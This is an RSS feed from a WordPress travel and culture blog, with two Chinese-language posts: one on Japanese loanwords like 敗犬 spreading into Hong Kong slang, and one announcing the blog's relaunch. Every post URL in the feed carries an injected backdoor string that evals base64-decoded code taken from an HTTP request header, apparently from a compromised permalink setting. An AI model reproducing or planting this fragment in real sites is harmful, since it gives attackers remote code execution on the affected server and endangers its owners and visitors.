
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Travelling Bambi &#187; As Bambi Said</title>
	<atom:link href="http://travellingbambi.com/blog/index.php/category/as-bambi-said/feed/" rel="self" type="application/rss+xml" />
	<link>http://travellingbambi.com/blog</link>
	<description>Let&#039;s travel with bambi into the post-modern world</description>
	<lastBuildDate>Thu, 21 May 2009 15:01:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>敗犬族 &#8211; 外來語的入侵</title>
		<link>http://travellingbambi.com/blog/2009/05/21/%e6%95%97%e7%8a%ac%e6%97%8f-%e5%a4%96%e4%be%86%e8%aa%9e%e7%9a%84%e5%85%a5%e4%be%b5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://travellingbambi.com/blog/2009/05/21/%e6%95%97%e7%8a%ac%e6%97%8f-%e5%a4%96%e4%be%86%e8%aa%9e%e7%9a%84%e5%85%a5%e4%be%b5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 21 May 2009 03:52:55 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[As Bambi Said]]></category>
		<category><![CDATA[敗犬族]]></category>
		<category><![CDATA[日文漢字]]></category>
		<category><![CDATA[潮語]]></category>

		<guid isPermaLink="false">http://travellingbambi.com/blog/?p=100</guid>
		<description><![CDATA[久不久香港都會出現一些新名詞，可能是外來語，可能是自家創作的潮語，又或者是借用語，總之日新月異，也證明語言是活生生的。 無可否認，香港潮流文化深受日本所影響，連帶一些日本雜誌上的常用漢字都照搬過來，也無可口非。例如「達人」、「激安」、「花柄」 、「水玉」、「古著」之類，慢慢地融入青年人的常用語中。 最近在看電視劇「畢打自己人」時，驚見其中一集題為「敗犬回憶錄」，原來香港的編劇都緊貼潮流，好一個外來用語。加上年初的台劇也名為「敗犬女王」，看來「敗犬」一詞已經被普及使用。 敗犬原字為負犬，源自酒井順子2003年出版的《敗犬的遠吠》一書，泛指一些美麗又能幹，薪高厚職的女性，過了適婚年齡還是單身的，即稱為「敗犬」。相反，即使女人既平庸又無能，只要結婚生子，就是「勝犬」。酒井順子藉以探討，婚姻能否決定一個女人的價值? 對於社會現象的研究，日本比較深入，而且走在最前。往往某些新詞彙在日本流行了一段時間，才傳到香港或台灣。再通過潮流文化的包裝，例如小說、電影、電視劇，化為本土流行用語。因此一些「御宅族」、「干物女 」、「電車男」等新興的名詞，不脛而走。 其實日本語之入侵已經不是一時三刻的事情，一些已經流行了幾十年，甚至百幾年的用語已經演化為中文的一部份。好像「經濟」、「政治」這些詞彙曾幾何時都是日本傳過來的潮語，但今時今日，又有誰不識? 然而一些潮流周刊，嘗試硬生生地使用日文的文法去書寫中文，總覺得有點兒過火，實在不敢苟同，唯有跳過不讀。始終語言的變化，是一點一滴的累積起來，不能急進。]]></description>
		<wfw:commentRss>http://travellingbambi.com/blog/2009/05/21/%e6%95%97%e7%8a%ac%e6%97%8f-%e5%a4%96%e4%be%86%e8%aa%9e%e7%9a%84%e5%85%a5%e4%be%b5/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Travelling Bambi Blog 開動!</title>
		<link>http://travellingbambi.com/blog/2008/06/02/travelling-bambi-blog-%e9%96%8b%e5%8b%95/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/</link>
		<comments>http://travellingbambi.com/blog/2008/06/02/travelling-bambi-blog-%e9%96%8b%e5%8b%95/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 13:47:16 +0000</pubDate>
		<dc:creator>Administrator</dc:creator>
				<category><![CDATA[As Bambi Said]]></category>

		<guid isPermaLink="false">http://travellingbambi.com/blog/2008/06/02/travelling-bambi-blog-%e9%96%8b%e5%8b%95/</guid>
		<description><![CDATA[離開了網路剛好一年. 在過去的一段日子, 因為工作的改變, 無暇抽身去處理網路的事宜, 使到此網站停止了運作, 想大家定必把我忘記了! 然而, 我對自己的承諾是, 休息一段日子, 但不能超過一年, 否則可能以後再提不起勁來寫網站了. 在過去的一些時間, 也想過以什麼形式再寫, 題材又是什麼? 這些都使我苦惱了好一會. 或許為了方便管理, 嘗試改以 Blog 的模式可能比較容易. 就這樣決定吧! Travelling Bambi Blog 正式開動! 往後的日子如何? 往後再想吧!]]></description>
		<wfw:commentRss>http://travellingbambi.com/blog/2008/06/02/travelling-bambi-blog-%e9%96%8b%e5%8b%95/%&#038;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

